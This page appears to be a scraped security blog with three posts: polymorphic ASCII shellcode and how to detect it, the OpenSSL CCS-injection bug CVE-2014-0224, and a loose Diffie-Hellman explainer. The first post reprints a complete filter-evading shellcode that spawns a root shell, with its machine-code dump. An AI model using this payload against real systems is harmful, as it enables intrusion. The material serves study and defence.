What the hell ! | Damn’ Shell

Smuggling – Wikipedia describes the word as “the illegal transportation of objects or people, such as out of a building, into a prison, or across an international border, in violation of applicable laws or other regulations”.

Come to think of it – When you think of the word ‘smuggling’ the first thing that comes to mind is – ‘its wrong’ which is true but if you can overlook the legalities and dive a bit deeper into the specifics you might just find a new or rather ‘ingenious’ transportation method that we’ve been oblivious to all along. This sort of ingenuity carries on from the real world into the virtual world considering its an extension of the real world by design. The art of stealth is at the core of offensive computer security and being able to smuggle stuff into a target environment is considered ‘nirvana’ in the field.

The bad guys (for lack of a better word) spend a considerable amount of time mastering the art of smuggling all kinds of malicious code onto a target environment and in some cases the amount of time spent developing the actual code/payload is far less when compared to the amount of time spent devising a way to get it to its destination.

One such method involves employing polymorphism – a concept that clearly has one too many definitions (thanks to the technology/internet Gurus). Its nothing more than code that modifies (modification can be addition/deletion) itself when executed. This underlying idea allows you to change what your code/payload looks like but never really change what it does (essentially a state change without any change in functionality) which makes it ideal to evade detection during transportation. Put simply, it’s a bomb that doesn’t look like a bomb until its ready.

Of all the virtual bomb making tools, the one that’s really ubiquitous is ‘shellcode‘ for it takes away most of the abstractions of higher level programming languages. Shellcode is code written in ‘assembly’ without any restrictions on the layout of the code i.e. its position independent. In other words shellcode allows you to write code in a language that is almost native to the target (i.e. system/processor) providing you with a great deal of flexibility.

For example – ASCII shellcode can get past most ASCII character checks/filters. Here is what it looks like in assembly [1]

 

BITS 32

push esp                               ; Put current ESP
pop eax                                ; into EAX.
sub eax, 0x39393333                    ; Subtract printable values
sub eax,0x72727550                     ; to add 860 to EAX.
sub eax,0x54545421
push eax                               ; Put EAX back into ESP.
pop esp                                ; Effectively ESP = ESP + 860

and eax,0x454e4f4a
and eax,0x3a313035                     ; Zero out EAX.

sub eax,0x346d6d25                     ; Subtract printable values
sub eax,0x256d6d25                     ; to make EAX = 0x80cde189.
sub eax,0x2557442d                     ; (last 4 bytes from shellcode.bin)

push eax                               ; Push these bytes to stack at ESP.
sub eax,0x59316659                     ; Subtract more printable values
sub eax,0x59667766                     ; to make EAX = 0x53e28951.
sub eax,0x7a537a79                     ; (next 4 bytes of shellcode from the end)
push eax
sub eax,0x25696969
sub eax,0x25786b5a
sub eax,0x25774625
push eax                                         ; EAX = 0xe3896e69
sub eax,0x366e5858
sub eax,0x25773939
sub eax,0x25747470
push eax                                         ; EAX = 0x622f6868
sub eax,0x25257725
sub eax,0x71717171
sub eax,0x5869506a
push eax                                         ; EAX = 0x732f2f68
sub eax,0x63636363
sub eax,0x44307744
sub eax,0x7a434957
push eax                                         ; EAX = 0x51580b6a
sub eax,0x63363663
sub eax,0x6d543057
push eax                                         ; EAX = 0x80cda4b0
sub eax,0x54545454
sub eax,0x304e4e25
sub eax,0x32346f25
sub eax,0x302d6137
push eax                                         ; EAX = 0x99c931db
sub eax,0x78474778
sub eax,0x78727272
sub eax,0x774f4661
push eax                                         ; EAX = 0x31c03190
sub eax,0x41704170
sub eax,0x2d772d4e
sub eax,0x32483242
push eax                                         ; EAX = 0x90909090
push eax
push eax                                         ; Build a NOP sled.
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax

And when assembled into machine code, here’s what you get (note the repetitive pattern in its ASCII representation to the right)

00000000 54 58 2d 33 33 39 39 2d 50 75 72 72 2d 21 54 54 |TX-3399-Purr-!TT|
00000010 54 50 5c 25 4a 4f 4e 45 25 35 30 31 3a 2d 25 6d |TP\%JONE%501:-%m|
00000020 6d 34 2d 25 6d 6d 25 2d 2d 44 57 25 50 2d 59 66 |m4-%mm%–DW%P-Yf|
00000030 31 59 2d 66 77 66 59 2d 79 7a 53 7a 50 2d 69 69 |1Y-fwfY-yzSzP-ii|
00000040 69 25 2d 5a 6b 78 25 2d 25 46 77 25 50 2d 58 58 |i%-Zkx%-%Fw%P-XX|
00000050 6e 36 2d 39 39 77 25 2d 70 74 74 25 50 2d 25 77 |n6-99w%-ptt%P-%w|
00000060 25 25 2d 71 71 71 71 2d 6a 50 69 58 50 2d 63 63 |%%-qqqq-jPiXP-cc|
00000070 63 63 2d 44 77 30 44 2d 57 49 43 7a 50 2d 63 36 |cc-Dw0D-WICzP-c6|
00000080 36 63 2d 57 30 54 6d 50 2d 54 54 54 54 2d 25 4e |6c-W0TmP-TTTT-%N|
00000090 4e 30 2d 25 6f 34 32 2d 37 61 2d 30 50 2d 78 47 |N0-%o42-7a-0P-xG|
000000a0 47 78 2d 72 72 72 78 2d 61 46 4f 77 50 2d 70 41 |Gx-rrrx-aFOwP-pA|
000000b0 70 41 2d 4e 2d 77 2d 2d 42 32 48 32 50 50 50 50 |pA-N-w–B2H2PPPP|
000000c0 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 |PPPPPPPPPPPPPPPP| 

The above code morphs or rather loads additional malicious code into memory when executed as you can see below i.e. the shellcode will not reveal its actual form until it is eventually executed on a real CPU.
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1……j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80

 

polyshellcode

So the big question – What can we do ?

Well – Traditional intrusion detection systems (IDS) like Snort or *WAFs can be used to detect shellcode, using signature matching techniques where we look for known/recurring patterns or specific parts of the shellcode. Although this is polymorphic we can look for NOP sled pattern, ‘sub’ instruction containing repetitive characters or a combination.

Note – The above example is just one form of polymorphic shellcode. Attackers are constantly working to find more (again ingenious damn’ it) ways to sneak stuff across. Another interesting method is the use of polymorphic shellcode engines to create different forms of the same initial shellcode by encrypting its body with a different random key each time, and by prepending to it a decryption routine that makes it self-decrypting. In such scenarios conventional signature based detection methods fall short and require security researchers to detect network streams that contain polymorphic exploit code by passively monitoring the incoming network traffic where you attempt to “execute” each incoming request in a virtual environment as if it was executable code [2].

 

*WAF – Web application firewalls

Reference –

[1] Jon Erickson “Hacking: The Art of Exploitation, 2nd edition”

[2] Michalis Polychronaki, Kostas G. Anagnostakis and Evangelos P. Markatos “Network-Level Polymorphic Shellcode Detection UsingEmulation” Institute of Computer Science, Foundation for Research & Technology – Hellas, Institute for Infocomm Research, Singapore

Tracking OpenSSL | Nihal Pasham

BMI Salaf Ramadan Promo (A5 Flyer)

 

Vulnerability  – CVE-2014-0224

 

This vulnerability exposes a corner case within the OpenSSL implementation [versions ()] allowing an attacker (MITM) to inject change cipher spec messages at any  point during the TLS handshake, altering the key generation process.

Some background on TLS :

TLS record Protocol is layered protocol i.e. it is consists 4 different protocols ( the handshake protocol, the alert protocol, the change cipher spec protocol  and the application data protocol) – each designed for a specific function.

This vulnerability is to do with the Change cipher spec protocol (one of the four).

Here’s a typical TLS workflow. This is what it looks like (from RFC 2246)

                           Client                                                                       Server

                           ClientHello                           ——–>

                                                                                                            ServerHello

                                                                                                            Certificate*

                                                                                                            ServerKeyExchange*

                                                                                                            CertificateRequest*

                                                                         <——–                    ServerHelloDone

                           Certificate*

                           ClientKeyExchange

                           CertificateVerify*

                           [ChangeCipherSpec]

                           Finished                                ——–>

                                                                                                             [ChangeCipherSpec]

                                                                          <——–                     Finished

                           Application Data                <——->                    Application Data

                                                 Message flow for a full handshake

                          * Indicates optional or situation-dependent messages that are not

                            always sent.

A deeper look

The handshake protocol allows for negotiating cryptographic parameters like the encryption, compression algorithms acceptable to both parties, exchanging random  values (for use later in the key generation process) and sending an encrypted ‘pre-master secret’ in the ‘client key exchange message’.

 

Client Hello Server Hello Certificate (server) + Server Hello Done

Then each endpoint derives a 48 byte master secret‘ from the ‘pre-master secret‘ and the exchanged random nonces using a pseudo random function.

master_secret = PRF(pre_master_secret, “master secret”, ClientHello.random + ServerHello.random)  [0..47];

the second argument ‘master secret’ is just an ASCII label

which is in-turn used by each recipient to verify the final Finished message – a PRF digest of all the previous handshake messages.

verify_data   =  PRF(master_secret, finished_label, MD5(handshake_messages) + SHA-1(handshake_messages)) [0..11];

 * PRF is a “Pseudo-Random Function” defined in the RFC. It takes 3 arguments – a secret, an ASCII label, the seed data, runs its through a keyed-Hash Message Authentication Code (HMAC) and produces an output of arbitrary length. Essentially – a secure digest of some data protected by a secret. TLS’s PRF is a bit unique in that it uses two hashing functions (MD5 and SHA1) for additional security i.e. the secret is halved and each half provided as input to one of the hash functions. The PRF is then defined as the result of mixing the two pseudorandom streams by exclusive-or’ing them together.

                      PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed);

Client key exchange + CCS + Finsihed (of client) CCS + Finished (of server)

Assuming that the check succeeds, both generate session keys (or rather a block of cryptographic key material) from the master secret along with the random nonces and proceed  to send cryptographically-protected application data.

To generate the key material, we compute

key_block = PRF(SecurityParameters.master_secret, “key expansion”, SecurityParameters.server_random + SecurityParameters.client_random);

 

Now for the implications :

Essentially handshake protocol is a state machine which starts out with a connection state that does not use any encryption and switches to connection state  that uses encryption.

When starting a new handshake, messages used in the negotiation of the security parameters are sent in the clear i.e. the initial current state always specifies  that no encryption, compression, or MAC. The change cipher spec message (sent by both client and server) signals to the recipient that all future messages/data  from the sender will now be encrypted with negotiated security parameters (keys, ciphers, MAC etc.)

Although the RFC explicitly calls out the need for the change cipher spec message to be sent during the handshake, after the security parameters have been agreed  upon, but before the finished message , it doesn’t say much on when a recipient should/can accept and process a change cipher spec message.

Now if an attacker (MITM) injects CCS messages into a connection just before master key is generated, he could alter the key generation process and bypass the  finished message verification. Put it simply – the injected CCS message would signal a state change to the recipient, leading to the premature computation of session keys and finished messages with information available to a MITM attacker i.e. without the ‘master secret’ – the only unique parameter in the above PRF calculations.

 

OpenSSL’s Change cipher spec implementation :

 

int ssl3_do_change_cipher_spec(SSL *s)                          # ‘CSS messages invoke this function’   

{

int i;

const char *sender;

int slen;

 

if (s->state & SSL_ST_ACCEPT)

 

i=SSL3_CHANGE_CIPHER_SERVER_READ;

else

i=SSL3_CHANGE_CIPHER_CLIENT_READ;

if (s->s3->tmp.key_block == NULL)

{

if (s->session == NULL)

{

/* might happen if dtls1_read_bytes() calls this */

SSLerr(SSL_F_SSL3_DO_CHANGE_CIPHER_SPEC,SSL_R_CCS_RECEIVED_EARLY);

return (0);

}

 

s->session->cipher=s->s3->tmp.new_cipher;

 if (!s->method->ssl3_enc->setup_key_block(s)) return(0);                 # ends up setting the key_block (includes session keys) prematurely 

}

if (!s->method->ssl3_enc->change_cipher_state(s,i))

return(0);

 

/* we have to record the message digest at

* this point so we can get it before we read

* the finished message */

if (s->state & SSL_ST_CONNECT)

{

sender=s->method->ssl3_enc->server_finished_label;

slen=s->method->ssl3_enc->server_finished_label_len;

}

else

{

sender=s->method->ssl3_enc->client_finished_label;

slen=s->method->ssl3_enc->client_finished_label_len;

}

 

  i = s->method->ssl3_enc->final_finish_mac(s, sender,slen,s->s3->tmp.peer_finish_md);             # and premature verifying the expected ‘finished’ hashes

if (i == 0)

{

SSLerr(SSL_F_SSL3_DO_CHANGE_CIPHER_SPEC, ERR_R_INTERNAL_ERROR);

return 0;

}

s->s3->tmp.peer_finish_md_len = i;

return(1);

}

 

Comments :

To be fair, I think the cause for this vulnerability is more to do with the ambiguity in the RFC than a lapse in the OpenSSL implementation, considering that the RFC is pretty much mute on ‘WHEN’ recipients should accept ‘Change cipher spec’ messages.

Fix :

Only accept change cipher spec when it is expected instead of at any time. This prevents premature setting of session keys before the master secret is determined which an attacker could use as a MITM attack.

 

References

http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html

http://tools.ietf.org/html/rfc2246

https://www.imperialviolet.org/2014/06/05/earlyccs.html

 

 

 

 

Guarding your Keys – Understanding Diffie Hellman | Nihal Pasham

 

 

 

Image

 

The internet or the web by itself doesn’t really offer much when it comes to confidentiality. It employs a set of encryptions standards (like SSL/TLS) to provide secure channels for communication. The general idea of these encryption standards allows a user who wants to send a message to another to feed an encryption function/algorithm with the message (i.e plaintext) to be encrypted along with a ‘secret key’ to produce what’s called cipher-text (essentially gibberish) and the recipient on the other end retrieves the encrypted message by running it through a corresponding decryption function which uses the same ‘secret key’.

However, this raises the question – How do I send my ‘secret key’ to an intended recipient without it being comprised while in transit?  Indeed, the most challenging part of any cryptosystem is key management or more specifically key distribution. Well, traditional key-distribution methods such as sending your key in an email or the use of secure physical transport services (like a man handcuffed to a briefcase containing your keys) are neither scalable in terms of practicality nor reliable when dealing with volume (billions) of transactions across the internet on a daily basis.

The Diffie Hellman key-exchange standard offers a really unique solution to the problem of key distribution. The underlying idea is to allow users to agree on a ‘secret key’ using an insecure channel. The insecure channel in this case is the internet and ‘secret key’ is derived by exchanging a set of variables such that knowledge of the variables doesn’t allow an eavesdropper to deduce the ‘secret-key’. Sounds like magic doesn’t it but its more to do with the mathematics of discrete logarithms than magic. For example – Alice and Bob are two users who’d like to agree upon a ‘secret key’. They’d first have to agree on two large numbers say p and q. Subsequently Alice will choose a random number x, compute (A = q^x mod p) and send A to Bob while Bob on other hand does the same thing except he chooses a different random number y, computes (B = q^y mod p) and passes B onto Alice. Finally Alice and Bob compute their ‘secret keys’ individually by raising B^x and A^y i.e.  K1 = B^x mod p  and  K2 = A^y mod p. Now their computed keys happen to be the same

i.e. K1 = K2 = (q^xy mod p) mod p .

This is known as the ‘discrete logarithmic problem’ where given p,q,A,B, the probability of deducing x,y is a computationally intractable problem i.e. it cannot be done within a reasonable amount of time. Considering that this solution requires no prior communication, it is considered to be an ‘almost perfect’ solution to the problem of key distribution (used in TLS and referred to as ‘perfect forward secrecy’ or PFS). The reason I say ‘almost perfect’ and not perfect is because ‘perfect’ solutions usually fall short when it comes to their implementation and PFS doesn’t seem to be exempt from this. A few issues that plague this perfect solution are TLS session resumption issues requiring session tickets and imperfect memory allocation algorithms (i.e. although keys generated using DH persist for a single session and are discarded after the session, imperfect memory allocation algorithms can still lead to a Heart-bleed style vulnerability as the ‘secret key’ generated would still need to be stored locally in memory for the duration of the session).

Barring the implementation level imperfections, DH as a cryptographic standard makes the job of distributing your keys secure and consequently ‘stealing keys’ more difficult. It is for this reason that PFS serves as a much stronger safeguard against persistent monitoring attacks (than alternatives like RSA) where encrypted messages are intercepted (probably over several years) and later decrypted, when an attacker gains access to the corresponding private keys.

Additional Resources –

http://blog.cryptographyengineering.com/2013/12/how-does-nsa-break-ssl.html

https://www.youtube.com/watch?v=xHlSWqJT8lc

http://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange